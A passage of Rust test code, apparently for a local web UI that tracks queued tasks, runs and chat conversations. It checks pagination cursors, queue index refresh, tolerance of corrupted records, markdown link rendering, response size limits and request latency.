24188 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24189 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24190 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24191 let (tasks, talks, _watches) =
24192 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24193 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24194 }
24195
24196 #[test]
24197 fn list_cursors_freeze_membership_and_expire_explicitly() {
24198 let home = tempfile::tempdir().unwrap();
24199 let ui = delta_test_ui(home.path());
24200 std::fs::create_dir_all(ui.queue.root()).unwrap();
24201 for i in 0..40 {
24202 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24203 }
24204 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24205 assert_eq!(first.len(), STORE_PAGE_SIZE);
24206 let cursor = cursor.unwrap();
24207 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24208 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24209 let (second, _) = page_ids(
24210 &ui,
24211 false,
24212 PageQuery {
24213 before: Some(cursor.clone()),
24214 },
24215 )
24216 .unwrap();
24217 assert_eq!(second[0], "record-0023");
24218 assert!(second.iter().all(|id| !first.contains(id)));
24219 assert!(
24220 page_ids(
24221 &ui,
24222 true,
24223 PageQuery {
24224 before: Some(cursor.clone())
24225 }
24226 )
24227 .is_err()
24228 );
24229 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24230 assert_eq!(fresh[0], "record-9999");
24231 ui.monitor.list_walks.lock().unwrap().clear();
24232 assert!(
24233 page_ids(
24234 &ui,
24235 false,
24236 PageQuery {
24237 before: Some(cursor)
24238 }
24239 )
24240 .is_err()
24241 );
24242 }
24243
24244 #[tokio::test]
24245 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24246 let home = tempfile::tempdir().unwrap();
24247 let ui = delta_test_ui(home.path());
24248 let mut task = Task::new(
24249 "task".into(),
24250 "body".into(),
24251 PathBuf::from("/repo"),
24252 Source::Human,
24253 );
24254 ui.queue.put(&mut task).unwrap();
24255 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24256 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24257 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24258 let expected = parsed + usize::from(!cfg!(unix));
24259 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24260 task.status = crate::queue::TaskStatus::Held;
24261 ui.queue.put(&mut task).unwrap();
24262 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24263 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24264 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24265 ui.queue.put(&mut task).unwrap();
24266 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24267 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24268 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24269 }
24270
24271 #[tokio::test]
24272 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24273 let home = tempfile::tempdir().unwrap();
24274 let ui = delta_test_ui(home.path());
24275 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24276 let before = health(State(ui.clone())).await.unwrap().0;
24277 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24278 let after = health(State(ui)).await.unwrap().0;
24279 assert_ne!(before.notifications_rev, after.notifications_rev);
24280 assert_eq!(after.notifications_unread, 1);
24281 }
24282
24283 #[tokio::test]
24284 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24285 let home = tempfile::tempdir().unwrap();
24286 let ui = delta_test_ui(home.path());
24287 let queue = &ui.queue;
24288 let talks = &ui.talks;
24289 for i in 0..1000 {
24290 let id = format!("20261019-{i:06}-page");
24291 let mut task = Task::new(
24292 "task".into(),
24293 "instruction".repeat(100),
24294 PathBuf::from("/repo/magi"),
24295 Source::Human,
24296 );
24297 task.id = id.clone();
24298 if i == 0 {
24299 task.status = crate::queue::TaskStatus::Held;
24300 } else if i == 999 {
24301 task.status = crate::queue::TaskStatus::Blocked;
24302 task.blocked_by = vec!["20261019-000000-page".into()];
24303 }
24304 queue.put(&mut task).unwrap();
24305 seed_talk_at(talks, &id, "open");
24306 }
24307 let page = serde_json::to_value(
24308 queue_page(State(ui.clone()), Query(PageQuery::default()))
24309 .await
24310 .unwrap()
24311 .0,
24312 )
24313 .unwrap();
24314 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24315 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24316 assert!(
24317 !page["rows"][0]["stuck_roots"]
24318 .as_array()
24319 .unwrap()
24320 .is_empty()
24321 );
24322 let cursor = page["next"].as_str().unwrap();
24323 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24324 .as_str()
24325 .unwrap();
24326 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24328 let next = serde_json::to_value(
24329 queue_page(
24330 State(ui.clone()),
24331 Query(PageQuery {
24332 before: Some(cursor.into()),
24333 }),
24334 )
24335 .await
24336 .unwrap()
24337 .0,
24338 )
24339 .unwrap();
24340 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24341 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24342 let chats = serde_json::to_value(
24343 talks_page(State(ui.clone()), Query(PageQuery::default()))
24344 .await
24345 .unwrap()
24346 .0,
24347 )
24348 .unwrap();
24349 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24350 assert!(chats["rows"][0].get("pending").is_none());
24351 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24352 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24353 assert_eq!(counts["held"], 1);
24354 assert_eq!(counts["blocked"], 1);
24355 assert_eq!(counts["queued"], 997);
24356 }
24357
24358 #[test]
24359 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24360 let dir = tempfile::tempdir().unwrap();
24361 let ui = delta_test_ui(dir.path());
24362 let mut task = Task::new(
24363 "task".into(),
24364 "body".into(),
24365 PathBuf::from("/repo"),
24366 Source::Human,
24367 );
24368 task.runs = vec!["run-a".into()];
24369 ui.queue.put(&mut task).unwrap();
24370 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24371 task.runs = vec!["run-b".into()];
24372 let path = ui.queue.path_of(&task.id);
24373 let modified = path.metadata().unwrap().modified().unwrap();
24374 let replacement = path.with_extension("replacement");
24375 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24376 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24377 std::fs::write(&replacement, &bytes).unwrap();
24378 std::fs::File::options()
24379 .write(true)
24380 .open(&replacement)
24381 .unwrap()
24382 .set_times(std::fs::FileTimes::new().set_modified(modified))
24383 .unwrap();
24384 std::fs::rename(&replacement, &path).unwrap();
24385 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24386 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24387 std::fs::write(&path, "broken").unwrap();
24388 assert!(ui.find_task_for_run("run-b").is_err());
24389 std::fs::write(&path, bytes).unwrap();
24390 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24391 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24392 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24393 }
24394
24395 #[tokio::test]
24396 async fn conversation_core_is_independent_of_unreadable_related_history() {
24397 let home = tempfile::tempdir().unwrap();
24398 let ui = delta_test_ui(home.path());
24399 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24400 std::fs::create_dir_all(ui.queue.root()).unwrap();
24401 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24402 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24403 .await
24404 .unwrap();
24405 assert_eq!(core.talk.id, id);
24406 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24407 }
24408
24409 #[tokio::test]
24410 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24411 let home = tempfile::tempdir().unwrap();
24412 let ui = delta_test_ui(home.path());
24413 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24414 let mut task = Task::new(
24415 "Referenced task".into(),
24416 "Unrelated instruction history".repeat(1024),
24417 home.path().into(),
24418 Source::Human,
24419 );
24420 task.id = "20261019-000000-abcd".into();
24421 ui.queue.put(&mut task).unwrap();
24422 let mut conversation = ui.talks.get(&id).unwrap();
24423 conversation.turns.push(talk::Turn {
24424 sender: Some(talk::Sender::Persona),
24425 who: talk::Who::Agent,
24426 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24427 at: conversation.created_at,
24428 attachments: Vec::new(),
24429 usage: None,
24430 breaks: None,
24431 messages: Vec::new(),
24432 posted_by: None,
24433 });
24434 ui.talks.put(&mut conversation).unwrap();
24435
24436 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24437 let markdown = serde_json::to_value(&core.turn_bodies_md)
24438 .unwrap()
24439 .to_string();
24440 assert!(markdown.contains("\"strong\""));
24441 assert!(markdown.contains("\"table\""));
24442 assert!(markdown.contains("\"bullet_list\""));
24443 assert!(markdown.contains("\"code_block\""));
24444 assert!(!markdown.contains("\"internal_link\""));
24445 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24446 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24447 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24448
24449 let references = ui.references.for_talk(home.path(), &conversation);
24452 let mut decorated = core.turn_bodies_md[0].clone();
24453 references.markdown(&mut decorated);
24454 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24455 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24456 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24457 assert_eq!(
24458 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24459 conversation.turns[0].body
24460 );
24461 }
24462
24463 #[tokio::test]
24464 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24465 let home = tempfile::tempdir().unwrap();
24466 let ui = delta_test_ui(home.path());
24467 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24468 let mut run = RunState::new(
24469 PathBuf::from("/repo"),
24470 "main".into(),
24471 "01234567".into(),
24472 "Useful run".into(),
24473 Config::default(),
24474 );
24475 run.save_under(home.path()).unwrap();
24476 let mut task = Task::new(
24477 "Related".into(),
24478 "body".into(),
24479 PathBuf::from("/repo"),
24480 Source::Agent {
24481 run: talk_id.clone(),
24482 node: "chat".into(),
24483 },
24484 );
24485 task.runs = vec![run.id.clone()];
24486 ui.queue.put(&mut task).unwrap();
24487 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24488 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24489 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24490 assert!(
24491 run_detail(State(ui.clone()), Path(run.id.clone()))
24492 .await
24493 .is_ok()
24494 );
24495 assert!(
24496 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24497 .await
24498 .is_ok()
24499 );
24500 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24502 assert!(ui.find_task_for_run(&run.id).is_err());
24503 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24504 ui.queue.put(&mut task).unwrap();
24505 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24506 }
24507
24508 #[tokio::test]
24509 async fn conversation_sections_omit_large_task_instructions() {
24510 let home = tempfile::tempdir().unwrap();
24511 let ui = delta_test_ui(home.path());
24512 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24513 let mut task = Task::new(
24514 "filed task".into(),
24515 "large instruction ".repeat(65536),
24516 PathBuf::from("/repo"),
24517 Source::Agent {
24518 run: id.clone(),
24519 node: "chat".into(),
24520 },
24521 );
24522 ui.queue.put(&mut task).unwrap();
24523 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24524 assert_eq!(sections["tasks"][0]["id"], task.id);
24525 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24526 assert!(sections["tasks"][0].get("instruction").is_none());
24527 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24528 }
24529
24530 #[test]
24531 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24532 let home = tempfile::tempdir().unwrap();
24533 let talks = Talks::at(home.path().join("talks"));
24534 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24535 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24536 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24537 assert!(resolve_talk(&talks, "../outside").is_err());
24538 assert!(resolve_talk(&talks, "abcd").is_err());
24539 assert_eq!(
24540 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24541 "20261019-000001-abcd"
24542 );
24543 }
24544
24545 include!(concat!(
24546 env!("CARGO_MANIFEST_DIR"),
24547 "/tests/web_latency/baseline.rs"
24548 ));
24549
24550 include!(concat!(
24551 env!("CARGO_MANIFEST_DIR"),
24552 "/tests/web_latency/lists.rs"
24553 ));
24554
24555 #[tokio::test]
24556 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24557 async fn web_history_latency_measurement() {
24558 use std::time::Instant;
24559 let home = tempfile::tempdir().unwrap();
24560 let ui = delta_test_ui(home.path());
24561 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24562 let mut template = ui.talks.get(&id).unwrap();
24563 template.turns = serde_json::from_value(serde_json::json!([{
24564 "who": "operator", "body": "Show the accumulated work and its current status.",
24565 "at": Timestamp::now().to_string(),
24566 }]))
24567 .unwrap();
24568 std::fs::write(
24569 ui.talks.path_of(&id),
24570 serde_json::to_vec(&template).unwrap(),
24571 )
24572 .unwrap();
24573 let count = std::env::var("MAGI_BENCH_RECORDS")
24574 .ok()
24575 .and_then(|s| s.parse::<usize>().ok())
24576 .unwrap_or(1000);
24577 for i in 0..count {
24578 template.id = format!("20261019-{i:06}-history");
24579 template.pending = "history ".repeat(2048);
24580 std::fs::write(
24581 ui.talks.path_of(&template.id),
24582 serde_json::to_vec(&template).unwrap(),
24583 )
24584 .unwrap();
24585 let mut task = Task::new(
24586 "old task".into(),
24587 "instruction ".repeat(2048),
24588 PathBuf::from("/repo"),
24589 Source::Human,
24590 );
24591 task.id = format!("20261019-{i:06}-task");
24592 ui.queue.put(&mut task).unwrap();
24593 }
24594 for baseline in [true, false] {
24595 for clients in [1, 4] {
24596 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24597 let mut samples = Vec::new();
24598 for _ in 0..12 {
24599 let mut jobs = Vec::new();
24600 for _ in 0..clients {
24601 let ui = ui.clone();
24602 let id = id.clone();
24603 jobs.push(tokio::spawn(async move {
24604 let start = Instant::now();
24605 if baseline {
24606 let response =
24607 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24608 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24609 return (
24610 elapsed,
24611 elapsed,
24612 serde_json::to_vec(&response).unwrap().len(),
24613 );
24614 }
24615 let core = talk_core(State(ui.clone()), Path(id.clone()));
24616 let secondary = talk_sections(State(ui), Path(id));
24617 let (first, total) = tokio::join!(
24618 async {
24619 let value = core.await.unwrap().0;
24620 (
24621 start.elapsed().as_secs_f64() * 1000.0,
24622 serde_json::to_vec(&value).unwrap().len(),
24623 )
24624 },
24625 async {
24626 let value = secondary.await.unwrap().0;
24627 (
24628 start.elapsed().as_secs_f64() * 1000.0,
24629 serde_json::to_vec(&value).unwrap().len(),
24630 )
24631 }
24632 );
24633 (first.0, first.0.max(total.0), first.1 + total.1)
24634 }));
24635 }
24636 for job in jobs {
24637 samples.push(job.await.unwrap());
24638 }
24639 }
24640 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24641 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24642 first.sort_by(f64::total_cmp);
24643 total.sort_by(f64::total_cmp);
24644 let n = first.len();
24645 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24646 println!(
24647 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24648 first[n / 2],
24649 first[(n * 95 / 100).min(n - 1)],
24650 total[n / 2],
24651 total[(n * 95 / 100).min(n - 1)],
24652 samples[0].2
24653 );
24654 }
24655 }
24656 }
24657
24658 #[test]
24659 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24660 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24662 assert!(APP_JS.contains("function nextRunRequest(id)"));
24663 assert!(APP_JS.contains("function runShell(id, summary)"));
24664 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24665 assert!(APP_JS.contains("function taskShell(id, summary)"));
24666 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24667 }
24668}